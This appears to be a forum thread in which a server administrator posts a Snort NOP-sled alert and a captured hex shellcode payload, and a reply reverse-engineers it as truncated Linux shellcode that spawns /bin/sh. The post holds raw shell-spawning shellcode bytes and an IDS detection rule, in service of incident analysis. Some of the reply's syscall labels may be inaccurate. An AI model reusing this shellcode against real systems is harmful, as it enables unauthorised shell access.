I just pulled this out my IDS logs: The destination IP is my Windows 2003 IIS server.
alert ip $EXTERNAL_NET any -> $HOME_NET $SHELLCODE_PORTS
(msg:"SHELLCODE x86 NOOP"; content: "|90 90 90 90 90 90
90 90 90 90 90 90 90 90|"; depth: 128;
reference:arachnids,181; classtype:shellcode-detect;
sid:648; rev:5;)
it contained the following payload:
--snip--
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 31 db 31 c9 31 c0 b0 46 cd 80 89 e5 31 d2 b2 66 89 d0
31 c9 89 cb 43 89 5d f8 43 89 5d f4 4b 89 4d fc 8d 4d f4 cd
80 31 c9 89 45 f4 43 66 89 5d ec 66 c7 45 ee 0f 27 89 4d f0
8d 45 ec 89 45 f8 c6 45 fc 10 89 d0 8d 4d f4 cd 80 89 d0 43
43 cd 80 89 d0 43 cd 80 89 c3 31 c9 b2 3f 89 d0 cd 80 89 d0
41 cd 80 eb 18 5e 89 75 08 31 c0 88 46 07 89 45 0c b0 0b 89
f3 8d 4d 08 8d 55 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73
--snip--
What does the hex 0x90 represent?
What is the purpose of the 0x90 in the content?
Based on the information available would you classify this alert as an event to log and ignore or something to be concerned about and to dig into further?
dean
The above hex encoded string is the normal "shellcode" to get a shell. Initial part is filled with "nops" so even if the eip falls anywhere near should reach at the shellcode.
The behaviour of this "sc" is to first set a group id "setgid", then to set session id "setsid". Towards the end it tries to call the "execve" to execute /bin/sh..
Anyway tis was the postmortem report of the small snippet you posted. The last hex byte was missing which should be "68"
This is not a good shellcode..It needs some minor tweakings for successful exploitation and it is not affected to a windows machine [because it is a linux shellcode]
Had some fun in reverse engineering that stuff!!!